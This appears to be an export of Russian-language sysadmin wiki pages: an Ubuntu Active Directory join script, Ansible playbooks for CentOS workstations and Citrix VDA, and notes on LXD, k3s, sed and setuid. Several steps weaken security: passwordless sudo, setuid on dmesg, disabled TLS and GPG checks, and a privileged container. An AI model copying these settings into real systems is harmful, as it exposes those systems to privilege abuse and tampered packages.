####################################
#### Set needed Variables
####################################
NEW_DOMAINNAME="autosys.tk"
DNS_SERVERS="192.168.1.100 192.168.1.1"
DNS_STATIC_SEARCHLIST="$NEW_DOMAINNAME"
DOMAIN_CONTROLLERS="dc1.autosys.tk"
DEFAULT_REALM="${NEW_DOMAINNAME^^}"
NETBIOS_DOMAIN_NAME=$(echo $DEFAULT_REALM | sed  '1,$ s/\..*//g')

# check root
if [ "$(id -u)" != "0" ]; then
  echo "You do not have the appropriate privileges..."
  exit 1
fi

##############################################
### Disable IPv6
##############################################
cp /etc/sysctl.conf /etc/sysctl.conf.bak_`date +"%d.%m.%y_%H-%M"`
sed -i '/^net.ipv6.conf/D' /etc/sysctl.conf
echo 'net.ipv6.conf.all.disable_ipv6 = 1' | sudo tee -a /etc/sysctl.conf
echo 'net.ipv6.conf.default.disable_ipv6 = 1' | sudo tee -a /etc/sysctl.conf
echo 'net.ipv6.conf.lo.disable_ipv6 = 1' | sudo tee -a /etc/sysctl.conf
sysctl -p

##############################################
### Setting up NameServers
##############################################
echo "search $DNS_STATIC_SEARCHLIST" | sudo tee -a /etc/resolvconf/resolv.conf.d/base
echo -ne > /etc/resolvconf/resolv.conf.d/head
for nameserver in $DNS_SERVERS; do echo "nameserver $nameserver" | sudo tee -a /etc/resolvconf/resolv.conf.d/head ;done
resolvconf -u

apt-get update
apt-get -y upgrade

apt-get -y install nano curl openssl libnss3-tools \
chrony krb5-config krb5-locales krb5-user libpam-krb5 \
samba smbclient winbind libpam-winbind libnss-winbind gss-ntlmssp \
ldap-utils cifs-utils libsasl2-modules-gssapi-mit

###############################################
### Setup Services
###############################################
systemctl enable ssh
systemctl enable nmbd.service
systemctl enable samba.service
systemctl enable winbind.service
#############################################
#### Setting sudo
#############################################
cat <<EOF > /etc/sudoers.d/domain_users
ubuntu       ALL=(ALL) ALL
mike	ALL=(ALL) ALL
%$NETBIOS_DOMAIN_NAME\\\\domain\ admins      ALL=(ALL) NOPASSWD: ALL
%domain\ admins      ALL=(ALL) NOPASSWD: ALL
EOF

sed -i "/^Defaults\ targetpw.*\$/ s/^/#/" /etc/sudoers
sed -i "/^Defaults\ env_reset.*\$/ s/\ env_reset/\ \!env_reset/" /etc/sudoers
sed -i "/^ALL.*ALL=(ALL).*\$/ s/^/#/" /etc/sudoers


#########################################
### Setup NTP servers
#########################################
sed -i "/^pool.*\$/ s/^/#/" /etc/chrony/chrony.conf
sed -i "/^server.*\$/ s/^/#/" /etc/chrony/chrony.conf

for dc in $DOMAIN_CONTROLLERS;
do
echo "server $dc iburst" | sudo tee -a /etc/chrony/chrony.conf
done

#########################################
### Setup Kerberos /etc/krb5.conf
#########################################
LIBDEFAULTS=$(cat <<EOF
[libdefaults]
dns_lookup_kdc = true
dns_lookup_realm = false
default_realm = $DEFAULT_REALM
clockskew = 300
default_ccache_name = FILE:/tmp/krb5cc_%{uid}
EOF
)

REALMS_KDC=$(for i in $DOMAIN_CONTROLLERS; do echo "kdc = $i";done)

REALMS=$(cat <<EOF

[realms]
$DEFAULT_REALM = {
$REALMS_KDC
default_domain = $DEFAULT_REALM
}
EOF
)

DOMAIN_REALM=$(cat <<EOF

[domain_realm]
.$NEW_DOMAINNAME = $DEFAULT_REALM
$NEW_DOMAINNAME = $DEFAULT_REALM

[appdefaults]
pam = {
        ticket_lifetime = 1d
        renew_lifetime = 1d
        forwardable = true
        proxiable = false
        minimum_uid = 1
}
EOF
)

echo "$LIBDEFAULTS" > /etc/krb5.conf
echo "$REALMS" >> /etc/krb5.conf
echo "$DOMAIN_REALM" >> /etc/krb5.conf

########################################
#### Configure /etc/samba/smb.conf
########################################
SMB_CONF=$(cat <<EOF
# smb.conf is the main Samba configuration file. You find a full commented
# version at /usr/share/doc/packages/samba/examples/smb.conf.SUSE if the
# samba-doc package is installed.
[global]
        workgroup = $NETBIOS_DOMAIN_NAME
        passdb backend = tdbsam
        map to guest = Bad User
        include = /etc/samba/dhcp.conf
        usershare allow guests = No
        idmap gid = 10000-20000
        idmap uid = 10000-20000
        realm = $DEFAULT_REALM
        security = ADS
        template homedir = /home/%D/%U
        template shell = /bin/bash
        usershare max shares = 100
        encrypt passwords = yes
        kerberos method = secrets and keytab
        winbind nested groups = yes
        winbind offline logon = yes
        winbind refresh tickets = yes
        winbind use default domain = yes
        dns proxy = no
        domain master = no
        local master = no
        preferred master = no
        load printers = no
        show add printer wizard = no
        printcap name = /dev/null
        disable spoolss = yes
        client use spnego = yes
        client ntlmv2 auth = yes
EOF
)

mv /etc/samba/smb.conf /etc/samba/smb.conf.bak_`date +"%d.%m.%y_%H-%M"`
echo "$SMB_CONF" > /etc/samba/smb.conf

########################################
#### Configure /etc/nsswitch.conf
########################################
sed -i '/^passwd:.*compat$/ s/$/ winbind/' /etc/nsswitch.conf
sed -i '/^group:.*compat$/ s/$/ winbind/' /etc/nsswitch.conf
sed -i '/^hosts:/ s/:.*$/: files dns/' /etc/nsswitch.conf

##########################################
#### Configure PAM
##########################################
sed -i "/^Default:.*\$/ s/:.*$/: yes/" /usr/share/pam-configs/mkhomedir
sed -i '/^mkhomedir/D' /var/lib/pam/seen
pam-auth-update --package
################################################################
### Fix /etc/pam.d/sddm to allow copy /etc/skel/ on first logon
### https://wiki.autosys.tk/doku.php?id=linux_faq:kde_not_copying_etc_skel_on_user_first_login
################################################################
sed -i '/pam_kwallet/ s/^/#/g' /etc/pam.d/sddm

sddm_to_lightdm_change_in_ubuntu

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Если на системе установлен KDE + SDDM, но нужно перейти на Lightdm.

sudo apt-get install lightdm

В процессе установки скрипт предложить выбрать новый дефолтный Display Manager. Выбираем Lightdm
Затем перезагружаемся и пробуем зайти. Если Lightdm при старте сессии говорит, что

Failed to start session

значит отсутствует файлик с описанием запускаемой сессии.
Делаем так:

#########################################################
### Set lightdm for kde-plasma-kf5 session
### user-session - /usr/share/xsessions/plasma.desktop
#########################################################
cat <<EOF > /etc/lightdm/lightdm.conf
[SeatDefaults]
user-session=plasma
EOF

sed_preserving_permissions_for_operation_not_permitted

anonymous@undisclosed.example.com (Anonymous) — Tue, 04 Jun 2019 20:48:31 +0000

Проблема

При попытке добавить строку в файл конфигурации конейтнера lxc в proxmox в директории /etc/pve/lxc/ с помощью модуля ansible lineinfile у меня ничего не вышло.
При попытке использовать sed я получил вот такую ошибку:

sed: preserving permissions for ‘...’: Operation not permitted

Довольно странно. При попытке выполнить lsattr я получал:

lsattr: Function not implemented While reading flags on ...

Судя по всему, sed не удавалось переименовать отректированную копию файла и заменить ею исходный файл.

Решение

Я так и не понял почему это происходит, однако выполнить задуманное мне удалдось с помощью perl:

perl -i -pe 's/foo/bar/g' ./filename

Также нормально работает awk:

awk -v line='line to add' 'FNR==NR && line==$0{f=1; exit} END{if (!f) print line >> FILENAME}' ____path_to_file____

setuid_automatic_privileges_escalation

anonymous@undisclosed.example.com (Anonymous) — Fri, 26 May 2023 18:34:50 +0000

Что такое setuid ??

https://ru.wikipedia.org/wiki/Suid
setuid и setgid - это аттрибуты файла, который позволяют запускать его не от имени текущего пользователя, а от имени владельца файла.
Это бывает нужно для запуска программ, требующих высоких привилегий, обычными непривилегированными пользователями.

Как поставить бит setuid??

sudo chmod 4755 /bin/ping
sudo chmod 4755 /bin/dmesg

setup_centos_workstation_with_ansible_playbook

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Задача

Мне нужно создать playbook для ansible, который будет настраивать систему на базе клона CentOS (ОСь от НЦИ - http://www.os-rt.ru/ ).
А именно: устанавливать необходимые пакеты, настраивать систему для авторизации средствами AD, настраивать autodiscovery для почтового клиента evolution для работы с MS Exchange и производить мелкий тюнинг системы.

PlayBook

---
- hosts: nci-os
  vars:
    hostname: szud-os1
    domain_name: sigma.sbrf.ru
    dns_servers:
      - 10.21.7.212
      - 10.21.7.213
#      - 192.168.122.1
#      - 4.2.2.4
    domain_search: "{{ domain_name }} sberbank.ru"
    ca_cert_prefix: SberBank_Root_CA
    domain_controllers: "{{ dns_servers }}"
  remote_user: root
  tasks:

#### Setup Network Settings ####
  - name: setting DNS
    shell: |
      nmcli con mod {{ ansible_default_ipv4.interface }} ipv4.dns-search "{{ domain_search }}"
      nmcli con mod {{ ansible_default_ipv4.interface }} ipv4.dns "{{ dns_servers | join(' ') }}"
      nmcli con down {{ ansible_default_ipv4.interface }}
      nmcli con up {{ ansible_default_ipv4.interface }}

  - name: Disable IPv6
    sysctl:
      name: net.ipv6.conf.{{ item }}.disable_ipv6
      value: 1
      sysctl_set: yes
      state: present
      reload: yes
    with_items:
    - all
    - default
    - lo
    - "{{ ansible_default_ipv4.interface }}"
    
  - name: Set hostname
    shell: |
      sysctl kernel.hostname="{{ hostname }}"
      sysctl -p
      hostnamectl set-hostname "{{ hostname }}" ##."{{ domain_name }}"
      sed -i '/^127./D' /etc/hosts
  - lineinfile:
      name: /etc/hosts 
      regexp: '^127\.0\.0\.1'
      line: '127.0.0.1 {{ hostname }}.{{ domain_name }} {{ hostname }} localhost.localdomain localhost'
  - lineinfile:
      name: /etc/hosts
      regexp: '/^::1/D'
      state: absent
  - name: restart NetworkManager service
    service: name=NetworkManager state=restarted

#### Import IronPort Certificates ####
  - name: Import Certificates
    shell: |
      update-ca-trust force-enable
      echo "Trying to reach ya.ru..."
      ping -c 5 ya.ru &> /dev/null && openssl s_client -showcerts -connect ya.ru:443 </dev/null > chain.pem || exit
      csplit -k -f "{{ ca_cert_prefix }}" ./chain.pem '/END CERTIFICATE/+1' {10}
      find ./ -iname "{{ ca_cert_prefix }}"\* -type f -exec grep -F -L 'END CERTIFICATE' '{}' + | xargs -d '\n' rm
      for file in "{{ ca_cert_prefix }}"* ; do sudo mv "$file" /etc/pki/ca-trust/source/anchors/"$file".pem ; done
      for file in /etc/pki/ca-trust/source/anchors/"{{ ca_cert_prefix }}"* ; do sudo cp "$file" /etc/ssl/certs/ ; done
      update-ca-trust extract
      rm -f ./chain.pem
      exit 0

####  Setup Software ####
  - name: upgrade all packages
    yum:
      name: '*'
      state: latest

  - name: install packages
    yum: state=present name={{ item }}
    with_items:
    - nano
    - curl
    - openssl
    - nss-tools
    - chrony
    - authconfig
    - krb5-workstation
    - samba
    - samba-client
    - samba-winbind
    - samba-winbind-clients
    - pam_krb5
    - oddjob-mkhomedir
    - cyrus-sasl-gssapi
    - cyrus-sasl-ntlm
    - openldap-clients
    - cifs-utils
    - aspell
    - evolution
    - evolution-ews
    - desktop-file-utils
    - xorg-x11-server-Xvfb
    - "@Development tools"
    - glibc.i686
    - http://linuxdownload.adobe.com/adobe-release/adobe-release-x86_64-1.0-1.noarch.rpm
    - java-1.8.0-openjdk
  - name: install flash-plugin
    yum:
      name: flash-plugin
      state: present

#### Setup Chrony NTP Client ####
  - lineinfile:
      name: /etc/chrony.conf
      regexp: "{{ item.regexp }}"
      state: absent
    with_items:
      - { regexp: '^pool.*' }
      - { regexp: '^server.*' }
  - lineinfile:
      name: /etc/chrony.conf
      line: 'server {{ item }} iburst'
    with_items: "{{ domain_controllers }}"
  - service:
      name: chronyd
      state: restarted
      
#### Setup Kerberos and Samba ####
  - name: run Authconfig
    shell: |
      DEFAULT_REALM="{{ domain_name | upper }}"
      DOMAIN_CONTROLLERS="$(host -t srv _ldap._tcp."{{ domain_name }}" | awk {'print $8'} | sed 's/.$//g')"
      NEW_DOMAINNAME="{{ domain_name }}"
      mv /etc/krb5.conf /etc/krb5.conf_"$(date +"%d.%m.%y_%H-%M")"
      touch /etc/krb5.conf
      authconfig --disablecache --disablesssd --disablesssdauth --enablewinbind --enablewinbindauth \
      --smbsecurity=ads --smbworkgroup=$DEFAULT_REALM --smbrealm=$DEFAULT_REALM --enablewinbindusedefaultdomain \
      --winbindtemplatehomedir=/home/%U --winbindtemplateshell=/bin/bash --enablekrb5 --krb5realm=$DEFAULT_REALM \
      --disablekrb5realmdns --enablekrb5kdcdns --enablelocauthorize --enablemkhomedir --enablepamaccess --updateall
      
      LIBDEFAULTS="$(cat <<EOF
      [libdefaults]
      dns_lookup_kdc = true
      dns_lookup_realm = false
      default_realm = $DEFAULT_REALM
      clockskew = 300
      default_ccache_name = FILE:/tmp/krb5cc_%{uid}
      EOF
      )"

      REALMS_KDC="$(for kdc in $DOMAIN_CONTROLLERS; do echo "kdc = $kdc";done)"
      REALMS="$(cat <<EOF

      [realms]
      $DEFAULT_REALM = {
      $REALMS_KDC
      default_domain = $DEFAULT_REALM
      }
      EOF
      )"
      DOMAIN_REALM="$(cat <<EOF

      [domain_realm]
      .$NEW_DOMAINNAME = $DEFAULT_REALM
      $NEW_DOMAINNAME = $DEFAULT_REALM

      [appdefaults]
      pam = {
      ticket_lifetime = 1d
      renew_lifetime = 1d
      forwardable = true
      proxiable = false
      minimum_uid = 1
      }
      EOF
      )"
      echo "$LIBDEFAULTS" > /etc/krb5.conf
      echo "$REALMS" >> /etc/krb5.conf
      echo "$DOMAIN_REALM" >> /etc/krb5.conf

  - name: Setup Samba config
    shell: |
      mv /etc/samba/smb.conf /etc/samba/smb.conf.bak_"$(date +"%d.%m.%y_%H-%M")"
      SMBCONF="$(cat <<EOF
      [global]
        workgroup = {{ domain_name.split('.')[0] | upper }}
        passdb backend = tdbsam
        map to guest = Bad User
        include = /etc/samba/dhcp.conf
        usershare allow guests = No
        idmap gid = 10000-20000
        idmap uid = 10000-20000
        realm = {{ domain_name | upper }}
        security = ADS
        template homedir = /home/%D/%U
        template shell = /bin/bash
        usershare max shares = 100
        encrypt passwords = yes
        kerberos method = secrets and keytab
        winbind nested groups = yes
        winbind offline logon = no
        winbind refresh tickets = yes
        winbind use default domain = yes
        dns proxy = no
        domain master = no
        local master = no
        preferred master = no
        load printers = no
        show add printer wizard = no
        printcap name = /dev/null
        disable spoolss = yes
        client use spnego = yes
        client ntlmv2 auth = yes
      EOF
      )"
      echo "$SMBCONF" > /etc/samba/smb.conf
  - lineinfile:
      name: /etc/security/pam_winbind.conf
      regexp: '^.*krb5_auth'
      line: 'krb5_auth = yes'
      
#### Install CitrixVDA ####
  - name: Add Base CentOS repository
    yum_repository:
      name: base_centos
      file: CentOS_Base
      description: Base CentOS repository
#      baseurl: http://mirrorlist.centos.org/?release=7&arch=x86_64&repo=os&infra=stock
#      baseurl: http://ftp.nsc.ru/pub/centos/7/os/x86_64/ 
      baseurl: http://mirror.yandex.ru/centos/7.3.1611/os/x86_64/ 
      gpgcheck: no
  - name: Install PostgreSQL
    yum: state=present name={{ item }}
    with_items:
    - postgresql-server
    - postgresql-jdbc
    - java-1.8.0-openjdk
    - open-vm-tools
  - shell: |
      postgresql-setup initdb
      systemctl start postgresql
      systemctl enable postgresql

  - name: Install VDA
#    yum: state=present name=http://szud-linux-repo.sigma.sbrf.ru/XenDesktopVDA-7.13.0.382-1.el7_2.x86_64.rpm
#    yum: state=present name=http://10.38.246.21/XenDesktopVDA-7.13.0.382-1.el7_2.x86_64.rpm
    yum: state=present name=http://10.38.246.21/XenDesktopVDA-7.14.0.400-1.el7_2.x86_64.rpm
  - name: Remove CentOS Base Repo
    yum_repository: name=base_centos state=absent
    notify: yum-clean-metadata

  - name: Setup Evolution
    file:
      path: /usr/bin/ews_autodiscovery.sh
      state: absent
    ignore_errors: yes
  - blockinfile:
      path: /usr/bin/ews_autodiscovery.sh
      create: yes
      mode: 0755
      block: |
        #!/bin/bash
        export GIO_USE_NETWORK_MONITOR=base
        DOMAINNAME=`hostname -d`
        ##################################################
        ### Check if Evolution EWS source file exist
        ##################################################
        if [ -f ~/.config/evolution/sources/ews.$USER.$DOMAINNAME.1.source ]; then
        echo
        else
        ##########################################
        ## Check if connected to AD
        ##########################################
        if ! wbinfo -P; then
        echo "NETLOGON test failed" >> ~/.ews_setup.log
        else
        echo "NETLOGON test OK" >> ~/.ews_setup.log
        CURRENT_DC=`wbinfo -P | awk '{print $9}' | awk -F "\"" '{print $2}'`
        FULL_NAME=`wbinfo -i $USER | awk -F ":" '{print $5}'`
        BASEDN=`echo $CURRENT_DC | sed s/"\."/,dc=/g | sed -r 's!^[^dc=]+!!'`
        MAIL=`ldapsearch -h $CURRENT_DC -b "$BASEDN" "sAMAccountName=$USER" | grep mail: | awk '{print $2 }'`
        ###############################################################################################
        ### MS Exchange autodiscovery
        #### https://github.com/sys4/automx/blob/master/src/automx-test
        #### http://stackoverflow.com/questions/38509837/when-using-negotiate-with-curl-is-a-keytab-file-required
        #### Joined AD with samba/winbind and have package gss-ntlmssp
        #### libsasl2-modules-gssapi-mit
        ###############################################################################################
        AUTOD_URL="https://autodiscover.`echo $MAIL | sed 's/^.*@//'`"/autodiscover/autodiscover.xml
        REQUEST=$(cat <<EOF
        <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
        <EMailAddress>$MAIL</EMailAddress>
        <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
        </Autodiscover>
        EOF
        )
        bash -c "curl -k -d '$REQUEST' --header \"Content-Type: text/xml\" -s --negotiate -u : $AUTOD_URL" > ~/.autodiscover.xml
        OABUrl=$(cat ~/.autodiscover.xml | grep -m 1 OABUrl | awk -F '[<>]' '{ print $3 }')oab.xml
        EwsUrl=$(cat ~/.autodiscover.xml | grep -m 1 EwsUrl | awk -F '[<>]' '{ print $3 }')
        EwsHost=$(echo $EwsUrl | awk -F '/' '{ print $3 }')
        rm ~/.autodiscover.xml     
        echo CURRENT_DC - $CURRENT_DC > ~/.ews_setup.log
        echo FULL_NAME - $FULL_NAME >> ~/.ews_setup.log
        echo BASEDN - $BASEDN >> ~/.ews_setup.log
        echo MAIL - $MAIL >> ~/.ews_setup.log
        echo DOMAINNAME - $DOMAINNAME >> ~/.ews_setup.log
        echo OABUrl - $OABUrl >> ~/.ews_setup.log
        echo EwsUrl - $EwsUrl >> ~/.ews_setup.log
        echo EwsHost - $EwsHost >> ~/.ews_setup.log
        ################################################################
        ### Check URLs format
        ################################################################
        echo $OABUrl | grep -E '(https|http)://(([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&|=|+|\$|,|/|\?|%|#|\[|\]])*/(oab|OAB)([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&|=|+|\$|,|/|\?|%|#|\[|\]])*/oab.xml)'
        OAB_URL_Check=$?
        echo $EwsUrl | grep -E '(https|http)://(([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&|=|+|\$|,|/|\?|%|#|\[|\]])*/(ews|EWS)([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&|=|+|\$|,|/|\?|%|#|\[|\]])*/exchange.asmx)'
        EWS_URL_Check=$?
        if [ $OAB_URL_Check != 0 ] || [ $EWS_URL_Check != 0 ]; then
        echo "OAB and EWS URLs check failed... Exit..." >> ~/.ews_setup.log
        else
        echo "OAB and EWS URLs check OK" >> ~/.ews_setup.log
        ######################################################################
        ### CleaningUp and creating evolution source files
        ######################################################################
        killall evolution-source-registry
        rm -Rf ~/.config/evolution/sources
        mkdir --parents ~/.config/evolution/sources
        #####################################################################################
        cat <<EOF > ~/.config/evolution/sources/ews.$USER.$DOMAINNAME.1.source
        [Data Source]
        DisplayName=$MAIL
        Enabled=true
        Parent=
        
        [Offline]
        StaySynchronized=true
        
        [Authentication]
        Host=$EwsHost
        #Method=none
        Method=GSSAPI
        Port=443
        ProxyUid=system-proxy
        RememberPassword=true
        User=$USER
        CredentialName=
        
        [Collection]
        BackendName=ews
        CalendarEnabled=true
        ContactsEnabled=true
        Identity=$USER
        MailEnabled=true
        
        [Security]
        Method=none
        
        [Ews Backend]
        FilterInbox=true
        StoreChangesInterval=3
        CheckAll=true
        ListenNotifications=true
        Email=$MAIL
        FilterJunk=true
        FilterJunkInbox=false
        FoldersInitialized=true
        GalUid=ews.$USER.$DOMAINNAME
        Hosturl=$EwsUrl
        Oaburl=$OABUrl
        OabOffline=true
        OalSelected=
        Timeout=300
        UseImpersonation=false
        ImpersonateUser=
        EOF
        
        ######################################################################
        cat <<EOF > ~/.config/evolution/sources/ews.$USER.$DOMAINNAME.0.source
        [Data Source]
        DisplayName=$MAIL
        Enabled=true
        Parent=ews.$USER.$DOMAINNAME.1
        
        [Mail Composition]
        Bcc=
        Cc=
        DraftsFolder=folder://ews.$USER.$DOMAINNAME/%d0%a7%d0%b5%d1%80%d0%bd%d0%be%d0%b2%d0%b8%d0%ba%d0%b8
        SignImip=true
        TemplatesFolder=folder://local/Templates
        
        [Mail Identity]
        Address=$MAIL
        Name=$FULL_NAME
        Organization=
        ReplyTo=
        SignatureUid=none
        
        [Mail Submission]
        SentFolder=folder://ews.$USER.$DOMAINNAME/%d0%9e%d1%82%d0%bf%d1%80%d0%b0%d0%b2%d0%bb%d0%b5%d0%bd%d0%bd%d1%8b%d0%b5
        TransportUid=ews.$USER.$DOMAINNAME.13
        RepliesToOriginFolder=false
        EOF
        
        ######################################################################
        cat <<EOF > ~/.config/evolution/sources/ews.$USER.$DOMAINNAME.3.source
        [Data Source]
        DisplayName=$MAIL
        Enabled=true
        Parent=ews.$USER.$DOMAINNAME.1
        
        [Refresh]
        Enabled=true
        IntervalMinutes=3
        
        [Mail Account]
        BackendName=ews
        IdentityUid=ews.$USER.$DOMAINNAME
        ArchiveFolder=
        EOF
        
        ###############################################################################
        cat <<EOF > ~/.config/evolution/sources/ews.$USER.$DOMAINNAME.13.source
        [Data Source]
        DisplayName=$MAIL
        Enabled=true
        Parent=ews.$USER.$DOMAINNAME.1
        
        [Mail Transport]
        BackendName=ews
        EOF
        
        ################################################################################
        cat <<EOF > ~/.config/evolution/sources/local.source
        # Special built-in mail store.
        [Data Source]
        DisplayName=On This Computer
        Enabled=false
        Parent=
        
        [Mail Account]
        BackendName=maildir
        IdentityUid=self
        ArchiveFolder=
        
        [Maildir Backend]
        FilterInbox=true
        Path=$HOME/.local/share/evolution/mail/local
        EOF
        
        ########################################################################
        cat <<EOF > ~/.config/evolution/sources/vfolder.source
        # Special built-in mail store.
        
        [Data Source]
        DisplayName=Search Folders
        Enabled=false
        Parent=
        
        [Mail Account]
        BackendName=vfolder
        IdentityUid=self
        ArchiveFolder=
        
        [Vfolder Backend]
        FilterInbox=true
        EOF
        
        ##################################################################
        mkdir --parents ~/.config/evolution/mail/
        cat <<EOF > ~/.config/evolution/mail/state.ini
        [GlobalFolder]
        GroupByThreads=false
        PreviewVisible=true
        
        [Store ews.$USER.$DOMAINNAME.3]
        Expanded=true
        
        [Search Bar]
        SearchScope=mail-scope-current-folder
        SearchOption=mail-search-subject-or-addresses-contain
        
        [Folder Tree]
        Selected=folder://ews.$USER.$DOMAINNAME.3/%d0%92%d1%85%d0%be%d0%b4%d1%8f%d1%89%d0%b8%d0%b5
        
        [Folder folder://ews.$USER.$DOMAINNAME.3/%d0%92%d1%85%d0%be%d0%b4%d1%8f%d1%89%d0%b8%d0%b5]
        GroupByThreads=false
        PreviewVisible=true
        Expanded=true
        EOF
        
        fi
        fi
        fi
        
  - file:
      path: /etc/skel/.config/autostart/
      state: directory
      mode: 0755
  - file:
      path: /etc/skel/.config/autostart/ews_autodiscovery.desktop
      state: absent
    ignore_errors: yes            
  - blockinfile:
      path: /etc/skel/.config/autostart/ews_autodiscovery.desktop
      create: yes
      mode: 0644
      marker: ""
      block: |
        [Desktop Entry]
        Encoding=UTF-8
        Version=1.0
        Type=Application
        Name=Evolution Mail Client Preconfigure
        Comment=Evolution Mail Client Preconfigure
        Exec=/usr/bin/ews_autodiscovery.sh &
        StartupNotify=false
        Terminal=false
        Hidden=false
        OnlyShowIn=GNOME;XFCE;LXDE;
        X-GNOME-Autostart-enabled=true
  - file:
      path: /etc/skel/.config/xfce4/
      state: directory
      mode: 0755
  - file: 
      path: /etc/skel/.config/xfce4/helpers.rc
      state: touch
      mode: 0644
  - lineinfile:
      path: /etc/skel/.config/xfce4/helpers.rc
      state: present
      regexp: '^MailReader='
      line: 'MailReader=evolution'

#### Disable ScreenSaver
  - name: Disable Screen Saver
    blockinfile:
      path: /etc/skel/.Xdefaults
      create: yes
      mode: 0644
      marker: ""
      block: |
        xautolock.locker:z-securelock auth_none saver_z_screensaver
        xautolock.time:1000
        xsaver_xautolock:Случайно
        xtime_xautolock:0
...

Join AD Domain Setup Citrix VDA Playbook

---
- hosts: nci_os_szud
  vars:
    hostname: szud-os2
  tasks:

  - name: Set hostname
    shell: |
      sysctl kernel.hostname="{{ hostname }}"
      sysctl -p
      hostnamectl set-hostname "{{ hostname }}" ##."{{ domain_name }}"
      sed -i '/^127./D' /etc/hosts
  - lineinfile:
      name: /etc/hosts 
      regexp: '^127\.0\.0\.1'
      line: '127.0.0.1 {{ hostname }}.{{ domain_name }} {{ hostname }} localhost.localdomain localhost'
  - lineinfile:
      name: /etc/hosts
      regexp: '/^::1/D'
      state: absent
  - name: restart NetworkManager service
    service: name=NetworkManager state=restarted
  - shell: |
      net ads join -U ADDSIGMACA%PASSWORD
      /opt/Citrix/VDA/sbin/ctxcleanup.sh
      CTX_XDL_SUPPORT_DDC_AS_CNAME=N \
      CTX_XDL_DDC_LIST="v-szud-ctxdc-01.sigma.sbrf.ru v-szud-ctxdc-02.sigma.sbrf.ru" \
      CTX_XDL_VDA_PORT=80 \
      CTX_XDL_REGISTER_SERVICE=Y \
      CTX_XDL_ADD_FIREWALL_RULES=Y \
      CTX_XDL_AD_INTEGRATION=1 \
      CTX_XDL_HDX_3D_PRO=N \
      CTX_XDL_VDI_MODE=Y \
      CTX_XDL_SITE_NAME='<none>' \
      CTX_XDL_LDAP_LIST='<none>' \
      CTX_XDL_SEARCH_BASE='<none>' \
      CTX_XDL_START_SERVICE=Y \
      /opt/Citrix/VDA/sbin/ctxsetup.sh

      sleep 10
      reboot
...

setup_emilpro_disassembler_in_ubuntu_16.04

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Заброшенный проект. мутное говно.
http://www.emilpro.com/
https://github.com/SimonKagstrom/emilpro

sudo apt install libelf-dev libgtkmm-3.0-dev libgtksourceviewmm-3.0-dev libxml++2.6-dev libcurl4-openssl-dev libcapstone-dev flex bison elfutils texinfo cmake 
sudo apt install qt5-default
git clone https://github.com/SimonKagstrom/emilpro
cd emilpro
mkdir build
cd build

# for the GTK ui:
#cmake ..
# .. or for the QT ui:
cmake ../src/qt/

make
sudo cp

setup_k3s_inside_lxc_container_ubuntu_22.04

anonymous@undisclosed.example.com (Anonymous) — Wed, 31 May 2023 14:20:00 +0000

sudo lxd init
lxc launch ubuntu:22.04 k8s
lxc config set k8s security.privileged true

Свойства контейнера можно найти в файликах /var/snap/lxd/common/lxd/containers/k8s/metadata.yaml и /var/snap/lxd/common/lxd/security/apparmor/profiles/lxd-k8s

setup_lxc_lxd_host_on_ubuntu_1804

anonymous@undisclosed.example.com (Anonymous) — Wed, 13 Feb 2019 12:35:13 +0000

Настраиваем хост контейнеров LXD с хранилищем zfs и web-интерфейсом.

Настройка LXD

https://habr.com/post/308400/
Если мы настраиваем физический хост или виртуальную машину на собственном сервере, то нам нужно удалить пакет cloud-init. Он предназначен для автоматического конфигурирования системы в различных облачных окружениях.

sudo apt-get -y purge cloud-init && sudo rm -rf /etc/cloud

Теперь ставим lxd:

sudo apt-get install lxd zfsutils-linux bridge-utils

Настраиваем ZFS-pool

Использование ZFS позволяет использовать снепшоты для бекапа, а также дедупликацию и компрессию для экономии места. Если на хосте LXС/LXD есть ZFS volume, то контейнеры можно создавать как в нем, так и по старому в директории. Просто при создании контейнера нужно указывать имя zfs pool, в котором будет создан dataset

sudo zpool create -f lxd /dev/xvdb
sudo zpool status
sudo zfs list
sudo zfs set dedup=on lxd
sudo zfs set compression=on lxd
sudo zdb -S lxd

Настройка network bridge для LXD

Мне нужно, чтобы контейнеры имели адреса в двух физических LAN. Таким образом, в netplan мне нужно настроить два bridge, в котором указать в качестве slave-интерфейсов мои физические интерфейсы.
Устанавливаем bridge-utils:

sudo apt-get install bridge-utils

Удаляем все ненужные yaml-файлики из /etc/netplan/ и оставляем единственный с таким вот содержимым:

network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: no
      dhcp6: no
    eth1:
      dhcp4: no
      dhcp6: no
  bridges:
    br0:
      dhcp4: no
      dhcp6: no
      interfaces:
        - eth0
      addresses: [ 192.168.77.13/24 ]
      gateway4: 192.168.77.1
      nameservers:
          addresses:
              - 192.168.77.100
              - 192.168.77.1
          search: [autosys.tk]
      parameters:
          stp: false
          forward-delay: 0
    br1:
      dhcp4: no
      dhcp6: no
      interfaces:
        - eth1
      addresses: [ 192.168.100.113/24 ]
      parameters:
          stp: false
          forward-delay: 0

Первичная настройка LXD

Перед созданием или импортом контейнеров необходимо произвести первоначальное конфигурирование LXD. Выполняем команду:

sudo lxd init

Вот один из вариантов конфигурирования:

Would you like to use LXD clustering? (yes/no) [default=no]: n
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes
Name of the new storage pool [default=default]: lxd
Name of the storage backend to use (btrfs, dir, lvm, zfs) [default=zfs]: zfs
Create a new ZFS pool? (yes/no) [default=yes]: n
Name of the existing ZFS pool or dataset: lxd
Would you like to connect to a MAAS server? (yes/no) [default=no]: n
Would you like to create a new local network bridge? (yes/no) [default=yes]: n
Would you like to configure LXD to use an existing bridge or host interface? (yes/no) [default=no]: yes
Name of the existing bridge or host interface: br0
Would you like LXD to be available over the network? (yes/no) [default=no]: n
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: y
config: {}
cluster: null
networks: []
storage_pools:
- config:
    source: lxd
  description: ""
